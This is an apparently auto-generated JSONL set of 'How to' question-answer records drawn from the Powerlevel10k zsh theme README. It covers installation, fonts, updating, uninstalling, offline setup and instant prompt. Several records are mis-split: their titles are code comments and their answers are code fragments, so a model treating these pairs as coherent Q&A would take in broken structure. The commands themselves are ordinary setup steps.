[yazi](https://github.com/sxyazi/yazi) shell |\n| `rbenv` | ruby environment from [rbenv](https://github.com/rbenv/rbenv) |\n| `rust_version` | [rustc](https://www.rust-lang.org) version |\n| `rvm` | ruby environment from [rvm](https://rvm.io) |\n| `scalaenv` | scala version from [scalaenv](https://github.com/scalaenv/scalaenv) |\n| `status` | exit code of the last command |\n| `swap` | used swap |\n| `taskwarrior` | [taskwarrior](https://taskwarrior.org/) task count |\n| `terraform` | [terraform](https://www.terraform.io) workspace |\n| `terraform_version` | [terraform](https://www.terraform.io) version |\n| `time` | current time |\n| `timewarrior` | [timewarrior](https://timewarrior.net/) tracking status |\n| `todo` | [todo](https://github.com/todotxt/todo.txt-cli) items |\n| `toolbox` | [toolbox](https://github.com/containers/toolbox) name |\n| `vcs` | Git repository status |\n| `vim_shell` | [vim](https://", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060653"}
{"id": "gh_2f1c03159f8d", "question": "How to: Extensible", "question_body": "About romkatv/powerlevel10k", "answer": "If there is no prompt segment that does what you need, implement your own. Powerlevel10k provides\npublic API for defining segments that are as fast and as flexible as built-in ones.\nScreen recording\n![Powerlevel10k Custom Segment](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/custom-segment.gif)\nOn Linux you can fetch current CPU temperature by reading `/sys/class/thermal/thermal_zone0/temp`.\nThe screencast shows how to define a prompt segment to display this value. Once the segment is\ndefined, you can use it like any other segment. All standard customization parameters will work for\nit out of the box.\n\nType `p10k help segment` for reference.\n\n*Note*: If you modify `POWERLEVEL9K_*` parameters in an already initialized interactive shell (as\nopposed to editing `~/.p10k.zsh`), the changes might not be immediately effective. To apply the\nmodifications, invoke `p10k reload`. Setting `POWERLEVEL9K_DISABLE_HOT_RELOAD=false` eliminates the\nnecessity for `p10k reload` but results in a marginally slower prompt.\n\n*Tip*: Prefix names of your own segments with `my_` to avoid clashes with future versions of\nPowerlevel10k.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060660"}
{"id": "gh_6604064da284", "question": "How to: Installation", "question_body": "About romkatv/powerlevel10k", "answer": "- [Manual](#manual) 👈 **choose this if confused or uncertain**\n- [Oh My Zsh](#oh-my-zsh)\n- [Prezto](#prezto)\n- [Zim](#zim)\n- [Antibody](#antibody)\n- [Antidote](#antidote)\n- [Antigen](#antigen)\n- [Zplug](#zplug)\n- [Zgen](#zgen)\n- [Zplugin](#zplugin)\n- [Zinit](#zinit)\n- [Zi](#zi)\n- [Zap](#zap)\n- [Homebrew](#homebrew)\n- [Arch Linux](#arch-linux)\n- [Alpine Linux](#alpine-linux)\n- [Fig](#fig)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060667"}
{"id": "gh_a00bd33dbb8a", "question": "How to: Arch Linux", "question_body": "About romkatv/powerlevel10k", "answer": "```zsh\nyay -S --noconfirm zsh-theme-powerlevel10k-git\necho 'source /usr/share/zsh-theme-powerlevel10k/powerlevel10k.zsh-theme' >>~/.zshrc\n```\n\n[zsh-theme-powerlevel10k-git](https://aur.archlinux.org/packages/zsh-theme-powerlevel10k-git/)\nreferenced above is the official Powerlevel10k package.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060678"}
{"id": "gh_5351915e7692", "question": "How to: Alpine Linux", "question_body": "About romkatv/powerlevel10k", "answer": "```zsh\napk add zsh zsh-theme-powerlevel10k\nmkdir -p ~/.local/share/zsh/plugins\nln -s /usr/share/zsh/plugins/powerlevel10k ~/.local/share/zsh/plugins/\n```", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060683"}
{"id": "gh_4b5469c9c5ac", "question": "How to: Configuration", "question_body": "About romkatv/powerlevel10k", "answer": "- [For new users](#for-new-users)\n- [For Powerlevel9k users](#for-powerlevel9k-users)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060688"}
{"id": "gh_5d7a2433de8d", "question": "How to: For new users", "question_body": "About romkatv/powerlevel10k", "answer": "On the first run, Powerlevel10k [configuration wizard](#configuration-wizard) will ask you a few\nquestions and configure your prompt. If it doesn't trigger automatically, type `p10k configure`.\nConfiguration wizard creates `~/.p10k.zsh` based on your preferences. Additional prompt\ncustomization can be done by editing this file. It has plenty of comments to help you navigate\nthrough configuration options.\n\n*FAQ*:\n\n- [What is the best prompt style in the configuration wizard?](\n    #what-is-the-best-prompt-style-in-the-configuration-wizard)\n- [What do different symbols in Git status mean?](\n    #what-do-different-symbols-in-git-status-mean)\n- [How do I change the format of Git status?](#how-do-i-change-the-format-of-git-status)\n- [How do I add username and/or hostname to prompt?](\n    #how-do-i-add-username-andor-hostname-to-prompt)\n- [How do I change prompt colors?](#how-do-i-change-prompt-colors)\n- [Why some prompt segments appear and disappear as I'm typing?](\n    #why-some-prompt-segments-appear-and-disappear-as-im-typing)\n\n*Troubleshooting*:\n\n- [Question mark in prompt](#question-mark-in-prompt).\n- [Icons, glyphs or powerline symbols don't render](#icons-glyphs-or-powerline-symbols-dont-render).\n- [Sub-pixel imperfections around powerline symbols](\n    #sub-pixel-imperfections-around-powerline-symbols).\n- [Directory is difficult to see in prompt when using Rainbow style](\n    #directory-is-difficult-to-see-in-prompt-when-using-rainbow-style).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060695"}
{"id": "gh_87201f11613e", "question": "How to: For Powerlevel9k users", "question_body": "About romkatv/powerlevel10k", "answer": "If you've been using Powerlevel9k before, **do not remove the configuration options**. Powerlevel10k\nwill pick them up and provide you with the same prompt UI you are used to. See\n[Powerlevel9k compatibility](#powerlevel9k-compatibility).\n\n*FAQ*:\n\n- [I'm using Powerlevel9k with Oh My Zsh. How do I migrate?](\n    #im-using-powerlevel9k-with-oh-my-zsh-how-do-i-migrate)\n- [What is the relationship between Powerlevel9k and Powerlevel10k?](\n    #what-is-the-relationship-between-powerlevel9k-and-powerlevel10k)\n- [Does Powerlevel10k always render exactly the same prompt as Powerlevel9k given the same config?](\n    #does-powerlevel10k-always-render-exactly-the-same-prompt-as-powerlevel9k-given-the-same-config)\n\n*Troubleshooting*: [Extra or missing spaces in prompt compared to Powerlevel9k](\n  #extra-or-missing-spaces-in-prompt-compared-to-powerlevel9k).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060701"}
{"id": "gh_72e85cffa40c", "question": "How to: <a name='recommended-meslo-nerd-font-patched-for-powerlevel10k'></a><a name='font'></a>Meslo Nerd Font patched for Powerlevel10k", "question_body": "About romkatv/powerlevel10k", "answer": "Gorgeous monospace font designed by Jim Lyles for Bitstream, customized by the same for Apple,\nfurther customized by André Berg, and finally patched by yours truly with customized scripts\noriginally developed by Ryan L McIntyre of Nerd Fonts. Contains all glyphs and symbols that\nPowerlevel10k may need. Battle-tested in dozens of different terminals on all major operating\nsystems.\n\n*FAQ*: [How was the recommended font created?](#how-was-the-recommended-font-created)\n\n#### Automatic font installation\n\nIf you are using iTerm2 or Termux, `p10k configure` can install the recommended font for you.\nSimply answer `Yes` when asked whether to install *Meslo Nerd Font*.\n\nIf you are using a different terminal, proceed with manual font installation. 👇\n\n#### Manual font installation\n\n1. Download these four ttf files:\n   - [MesloLGS NF Regular.ttf](\n       https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Regular.ttf)\n   - [MesloLGS NF Bold.ttf](\n       https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Bold.ttf)\n   - [MesloLGS NF Italic.ttf](\n       https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Italic.ttf)\n   - [MesloLGS NF Bold Italic.ttf](\n       https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Bold%20Italic.ttf)\n1. Double-click on each file and click \"Install\". This will make `MesloLGS NF` font available to all\n   applications on your system.\n1. Configure your terminal to use this font:\n   - **iTerm2**: Type `p10k configure` and answer `Yes` when asked whether to install\n     *Meslo Nerd Font*. Alternatively, open *iTerm2 → Preferences → Profiles → Text* and set *Font* to\n     `MesloLGS NF`.\n   - **Apple Terminal**: Open *Terminal → Preferences → Profiles → Text*, click *Change* under *Font*\n     and select `MesloLGS NF` family.\n   - **Hyper**: Open *Hyper → Edit → Preferences* and change the value of `fontFamily` under\n     `module.exports.config` to `MesloLGS NF`.\n   - **Visual Studio Code**: Open *File → Preferences → Settings* (PC) or\n     *Code → Preferences → Settings* (Mac), enter `terminal.integrated.fontFamily` in the search box at\n     the top of *Settings* tab and set the value below to `MesloLGS NF`.\n     Consult [this screenshot](\n       https://raw.githubusercontent.com/romkatv/powerlevel10k-media/389133fb8c9a2347929a23702ce3039aacc46c3d/visual-studio-code-font-settings.jpg)\n     to see how it should look like or see [this issue](\n       https://github.com/romkatv/powerlevel10k/issues/671) for extra information.\n\n     Note that software installed via [Snap](https://en.wikipedia.org/wiki/Snap_\\(software\\)) is\n     unable to use system fonts. If you've install Visual Studio Code via Snap, remove it by running\n     `sudo snap remove code` and install the official `.deb` build from the\n     [Visual Studio Code website](https://code.visualstudio.com/Download).\n   - **GNOME Terminal** (the default Ubuntu terminal): Open *Terminal → Preferences* and click on the\n     selected profile under *Profiles*. Check *Custom font* under *Text Appearance* and select\n     `MesloLGS NF Regular`.\n   - **Konsole**: Open *Settings → Edit Current Profile → Appearance*, click *Select Font* and select\n     `MesloLGS NF Regular`.\n   - **Tilix**: Open *Tilix → Preferences* and click on the selected profile under *Profiles*. Check\n     *Custom font* under *Text Appearance* and select `MesloLGS NF Regular`.\n   - **Windows Console Host** (the old thing): Click the icon in the top left corner, then\n     *Properties → Font* and set *Font* to `MesloLGS NF`.\n   - **Windows Terminal** by Microsoft (the new thing): Open *Settings* (\nCtrl+,\n), click\n     either on the selected profile under *Profiles* or on *Defaults*, click *Appearance* and set\n     *Font face* to `MesloLGS NF`.\n   - **Conemu**: Open *Setup → General → Fonts* and set *Main console font* to `MesloLGS NF`.\n   - **IntelliJ** (and other IDEs by Jet Brains): Open *IDE → Edit → Preferences → Editor →\n     Color Scheme → Console Font*. Select *Use console font instead of the default* and set the font\n     name to `MesloLGS NF`.\n   - **Termux**: Type `p10k configure` and answer `Yes` when asked whether to install\n     *Meslo Nerd Font*.\n   - **Blink**: Type `config`, go to *Appearance*, tap *Add a new font*, tap *Open Gallery*, select\n     *MesloLGS NF.css*, tap *import* and type `exit` in the home view to reload the font.\n   - **Tabby** (formerly **Terminus**): Open *Settings → Appearance* and set *Font* to `MesloLGS NF`.\n   - **Terminator**: Open *Preferences* using the context menu. Under *Profiles* select the *General*\n     tab (should be selected already), uncheck *Use the system fixed width font* (if not already)\n     and select `MesloLGS NF Regular`. Exit the Preferences dialog by clicking *Close*.\n   - **Guake**: Right Click on an open terminal and open *Preferences*. Under *Appearance*\n     tab, uncheck *Use the system fixed width font* (if not already) and select `", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060743"}
{"id": "gh_a5fca082385b", "question": "How to: Try it in Docker", "question_body": "About romkatv/powerlevel10k", "answer": "Try Powerlevel10k in Docker. You can safely make any changes to the file system while trying out\nthe theme. Once you exit Zsh, the container is deleted.\n\n```zsh\ndocker run -e TERM -e COLORTERM -e LC_ALL=C.UTF-8 -it --rm alpine sh -uec '\n  apk add git zsh nano vim\n  git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ~/powerlevel10k\n  echo \"source ~/powerlevel10k/powerlevel10k.zsh-theme\" >>~/.zshrc\n  cd ~/powerlevel10k\n  exec zsh'\n```\n\n*Tip*: Install [the recommended font](#meslo-nerd-font-patched-for-powerlevel10k) before\nrunning the Docker command to get access to all prompt styles.\n\n*Tip*: Run `p10k configure` while in Docker to try a different prompt style.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060750"}
{"id": "gh_766218131a29", "question": "How to: How do I update Powerlevel10k?", "question_body": "About romkatv/powerlevel10k", "answer": "The command to update Powerlevel10k depends on how it was installed.\n\n| Installation                  | Update command                                              |\n|-------------------------------|-------------------------------------------------------------|\n| [Manual](#manual)             | `git -C ~/powerlevel10k pull`                               |\n| [Oh My Zsh](#oh-my-zsh)       | `git -C \"${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k\" pull` |\n| [Prezto](#prezto)             | `zprezto-update`                                            |\n| [Zim](#zim)                   | `zimfw update`                                              |\n| [Antigen](#antigen)           | `antigen update`                                            |\n| [Antidote](#antidote)         | `antidote update`                                           |\n| [Zplug](#zplug)               | `zplug update`                                              |\n| [Zgen](#zgen)                 | `zgen update`                                               |\n| [Zplugin](#zplugin)           | `zplugin update`                                            |\n| [Zinit](#zinit)               | `zinit update`                                              |\n| [Zi](#zi)                     | `zi update`                                                 |\n| [Zap](#zap)                   | `zap update`                                              |\n| [Homebrew](#homebrew)         | `brew update && brew upgrade`                               |\n| [Arch Linux](#arch-linux)     | `yay -S --noconfirm zsh-theme-powerlevel10k-git`            |\n| [Alpine Linux](#alpine-linux) | `apk update && apk upgrade`                                 |\n\n**IMPORTANT**: Restart Zsh after updating Powerlevel10k. [Do not use `source ~/.zshrc`](\n  #weird-things-happen-after-typing-source-zshrc).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060760"}
{"id": "gh_3606e5d2ee95", "question": "How to: How do I uninstall Powerlevel10k?", "question_body": "About romkatv/powerlevel10k", "answer": "1. Remove all references to \"p10k\" from `~/.zshrc`. You might have this snippet at the top:\n   ```zsh\n   if [[ -r \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\" ]]; then\n     source \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\"\n   fi\n   ```\n   And this at the bottom:\n   ```zsh\n   [[ ! -f ~/.p10k.zsh ]] || source ~/.p10k.zsh\n   ```\n   These are added by the [configuration wizard](#configuration-wizard). Remove them.\n2. Remove all references to \"powerlevel10k\" from `~/.zshrc`, `~/.zpreztorc` and `~/.zimrc` (some\n   of these files may be missing -- this is normal). These references have been added manually by\n   yourself when installing Powerlevel10k. Refer to the [installation instructions](#installation)\n   if you need a reminder.\n3. Verify that all references to \"p10k\" and \"powerlevel10k\" are gone from `~/.zshrc`, `~/.zpreztorc`\n   and `~/.zimrc`.\n   ```zsh\n   grep -E 'p10k|powerlevel10k' ~/.zshrc ~/.zpreztorc ~/.zimrc 2>/dev/null\n   ```\n   If this command produces output, there are still references to \"p10k\" or \"powerlevel10k\". You\n   need to remove them.\n4. Delete Powerlevel10k configuration file. This file is created by the\n   [configuration wizard](#configuration-wizard) and may contain manual edits by yourself.\n   ```zsh\n   rm -f ~/.p10k.zsh\n   ```\n5. Delete Powerlevel10k source files. These files have been downloaded when you've installed\n   Powerlevel10k. The command to delete them depends on which installation method you'd chosen.\n   Refer to the [installation instructions](#installation) if you need a reminder.\n\n   | Installation                  | Uninstall command                                                |\n   |-------------------------------|------------------------------------------------------------------|\n   | [Manual](#manual)             | `rm -rf ~/powerlevel10k`                                         |\n   | [Oh My Zsh](#oh-my-zsh)       | `rm -rf -- \"${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k\"` |\n   | [Prezto](#prezto)             | n/a                                                              |\n   | [Zim](#zim)                   | `zimfw uninstall`                                                |\n   | [Antigen](#antigen)           | `antigen purge romkatv/powerlevel10k`                            |\n   | [Antidote](#antidote)         | `antidote purge romkatv/powerlevel10k`                           |\n   | [Zplug](#zplug)               | `zplug clean`                                                    |\n   | [Zgen](#zgen)                 | `zgen reset`                                                     |\n   | [Zplugin](#zplugin)           | `zplugin delete romkatv/powerlevel10k`                           |\n   | [Zinit](#zinit)               | `zinit delete romkatv/powerlevel10k`                             |\n   | [Zi](#zi)                     | `zi delete romkatv/powerlevel10k`                                |\n   | [Zap](#zap)                   | `zsh -ic 'zap clean'`                                            |\n   | [Homebrew](#homebrew)         | `brew uninstall powerlevel10k`                                   |\n   | [Arch Linux](#arch-linux)     | `yay -R --noconfirm zsh-theme-powerlevel10k-git`                 |\n   | [Alpine Linux](#alpine-linux) | `apk del zsh-theme-powerlevel10k`                                |\n6. Restart Zsh. [Do not use `source ~/.zshrc`](#weird-things-happen-after-typing-source-zshrc).\n7. Delete Powerlevel10k cache files.\n   ```zsh\n   rm -rf -- \"${XDG_CACHE_HOME:-$HOME/.cache}\"/p10k-*(N) \"${XDG_CACHE_HOME:-$HOME/.cache}\"/gitstatus\n   ```", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060769"}
{"id": "gh_5cef7ac048bb", "question": "How to: How do I install Powerlevel10k on a machine without Internet access?", "question_body": "About romkatv/powerlevel10k", "answer": "1. Run this command on the machine without Internet access:\n   ```sh\n   uname -sm | tr '[A-Z]' '[a-z]'\n   ```\n2. Run these commands on a machine connected to the Internet after replacing the value of\n   `target_uname` with the output of the previous command:\n   ```sh\n   target_uname=\"replace this with the output of the previous command\"\n   git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ~/powerlevel10k\n   GITSTATUS_CACHE_DIR=\"$HOME\"/powerlevel10k/gitstatus/usrbin ~/powerlevel10k/gitstatus/install -f -s \"${target_uname% *}\" -m \"${target_uname#* }\"\n   ```\n3. Copy `~/powerlevel10k` from the machine connected to the Internet to the one without Internet\n   access.\n4. Add `source ~/powerlevel10k/powerlevel10k.zsh-theme` to `~/.zshrc` on the machine without\n   Internet access:\n   ```zsh\n   echo 'source ~/powerlevel10k/powerlevel10k.zsh-theme' >>~/.zshrc\n   ```\n5. If `~/.zshrc` on the machine without Internet access sets `ZSH_THEME`, remove that line.\n   ```zsh\n   sed -i.bak '/^ZSH_THEME=/d' ~/.zshrc\n   ```\n\nTo update, remove `~/powerlevel10k` on both machines and repeat steps 1-3.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060775"}
{"id": "gh_d06f0a3857bc", "question": "How to: Where can I ask for help and report bugs?", "question_body": "About romkatv/powerlevel10k", "answer": "The best way to ask for help and to report bugs is to [open an issue](\n  https://github.com/romkatv/powerlevel10k/issues).\n\n[Gitter](\n  https://gitter.im/powerlevel10k/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)\nis another option.\n\nIf all else fails, email roman.perepelitsa@gmail.com.\n\nIf necessary, encrypt your communication with [this PGP key](\n  https://api.github.com/users/romkatv/gpg_keys).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060781"}
{"id": "gh_8668e5a88ac9", "question": "How to: Which aspects of shell and terminal does Powerlevel10k affect?", "question_body": "About romkatv/powerlevel10k", "answer": "Powerlevel10k defines prompt and nothing else. It sets [prompt-related options](\n  http://zsh.sourceforge.net/Doc/Release/Options.html#Prompting), and parameters `PS1` and `RPS1`.\n\n![Prompt Highlight](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/prompt-highlight.png)\n\nEverything within the highlighted areas on the screenshot is produced by Powerlevel10k.\nPowerlevel10k has no control over the terminal content or colors outside these areas.\n\nPowerlevel10k does not affect:\n\n- Terminal window/tab title.\n- Colors used by `ls`.\n- The behavior of `git` command.\n- The content and style of\nTab\ncompletions.\n- Command line colors (syntax highlighting, autosuggestions, etc.).\n- Key bindings.\n- Aliases.\n- Prompt parameters other than `PS1` and `RPS1`.\n- Zsh options other than those [related to prompt](\n    http://zsh.sourceforge.net/Doc/Release/Options.html#Prompting).\n- The set of available commands. Powerlevel10k does not install any new commands\n  with the only exception of `p10k`.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060788"}
{"id": "gh_6a26ec44f77a", "question": "How to: Add powerlevel10k to the list of Oh My Zsh themes.", "question_body": "About romkatv/powerlevel10k", "answer": "git clone --depth=1 https://github.com/romkatv/powerlevel10k.git \"${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k\"", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060793"}
{"id": "gh_c6c70468f60e", "question": "How to: Replace ZSH_THEME=\"powerlevel9k/powerlevel9k\" with ZSH_THEME=\"powerlevel10k/powerlevel10k\".", "question_body": "About romkatv/powerlevel10k", "answer": "sed -i.bak 's/powerlevel9k/powerlevel10k/g' ~/.zshrc", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060797"}
{"id": "gh_b5e7e32b1479", "question": "How to: Restart Zsh.", "question_body": "About romkatv/powerlevel10k", "answer": "exec zsh\n```\n2. *Optional but highly recommended:*\n   1. Install [the recommended font](#meslo-nerd-font-patched-for-powerlevel10k).\n   1. Type `p10k configure` and choose your favorite prompt style.\n\n*Related:*\n  - [Powerlevel9k compatibility.](#powerlevel9k-compatibility)\n  - [Does Powerlevel10k always render exactly the same prompt as Powerlevel9k given the same config?](\n      #does-powerlevel10k-always-render-exactly-the-same-prompt-as-powerlevel9k-given-the-same-config)\n  - [Extra or missing spaces in prompt compared to Powerlevel9k.](\n      #extra-or-missing-spaces-in-prompt-compared-to-powerlevel9k)\n  - [Configuration wizard.](#configuration-wizard)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060802"}
{"id": "gh_9747cab805ca", "question": "How to: Is it really fast?", "question_body": "About romkatv/powerlevel10k", "answer": "Yes. See [zsh-bench](https://github.com/romkatv/zsh-bench) or a direct comparison with\n[Powerlevel9k](https://asciinema.org/a/NHRjK3BMePw66jtRVY2livHwZ) and\n[Spaceship](https://asciinema.org/a/253094).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060806"}
{"id": "gh_f8988ad0a56f", "question": "How to: <a name='how-do-i-enable-instant-prompt'></a>How do I configure instant prompt?", "question_body": "About romkatv/powerlevel10k", "answer": "See [instant prompt](#instant-prompt) to learn about instant prompt. This section explains how you\ncan enable and configure it and lists caveats that you should be aware of.\n\nInstant prompt can be enabled either through `p10k configure` or by manually adding the following\ncode snippet at the top of `~/.zshrc`:\n\n```zsh", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060811"}
{"id": "gh_05ff6b8e5577", "question": "How to: confirmations, etc.) must go above this block; everything else may go below.", "question_body": "About romkatv/powerlevel10k", "answer": "if [[ -r \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\" ]]; then\n  source \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\"\nfi\n```\n\nIt's important that you copy the lines verbatim. Don't replace `source` with something else, don't\ncall `zcompile`, don't redirect output, etc.\n\nWhen instant prompt is enabled, for the duration of Zsh initialization standard input is redirected\nto `/dev/null` and standard output with standard error are redirected to a temporary file. Once Zsh\nis fully initialized, standard file descriptors are restored and the content of the temporary file\nis printed out.\n\nWhen using instant prompt, you should carefully check any output that appears on Zsh startup as it\nmay indicate that initialization has been altered, or perhaps even broken, by instant prompt.\nInitialization code that may require console input, such as asking for a keyring password or for a\n*[y/n]* confirmation, must be moved above the instant prompt preamble in `~/.zshrc`. Initialization\ncode that merely prints to console but never reads from it will work correctly with instant prompt,\nalthough output that normally has colors may appear uncolored. You can either leave it be, suppress\nthe output, or move it above the instant prompt preamble.\n\nHere's an example of `~/.zshrc` that breaks when instant prompt is enabled:\n\n```zsh\nif [[ -r \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\" ]]; then\n  source \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\"\nfi\n\nkeychain id_rsa --agents ssh  # asks for password\nchatty-script                 # spams to stdout even when everything is fine", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060818"}
{"id": "gh_bc32d6e0d4ff", "question": "How to: OK to perform console I/O before this point.", "question_body": "About romkatv/powerlevel10k", "answer": "if [[ -r \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\" ]]; then\n  source \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\"\nfi", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060823"}
{"id": "gh_34a807730c92", "question": "How to: console output may appear uncolored.", "question_body": "About romkatv/powerlevel10k", "answer": "chatty-script >/dev/null      # spam output suppressed", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060828"}
{"id": "gh_188235315031", "question": "How to: How do I initialize direnv when using instant prompt?", "question_body": "About romkatv/powerlevel10k", "answer": "If you've enabled [instant prompt](#instant-prompt), you should have these lines at the top of\n`~/.zshrc`:\n\n```zsh\nif [[ -r \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\" ]]; then\n  source \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\"\nfi\n```\n\nTo initialize direnv you need to add one line above that block and one line below it.\n\n```zsh\n(( ${+commands[direnv]} )) && emulate zsh -c \"$(direnv export zsh)\"\n\nif [[ -r \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\" ]]; then\n  source \"${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\"\nfi\n\n(( ${+commands[direnv]} )) && emulate zsh -c \"$(direnv hook zsh)\"\n```\n\n*Related*: [How do I export GPG_TTY when using instant prompt?](\n  #how-do-i-export-gpg_tty-when-using-instant-prompt)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060835"}
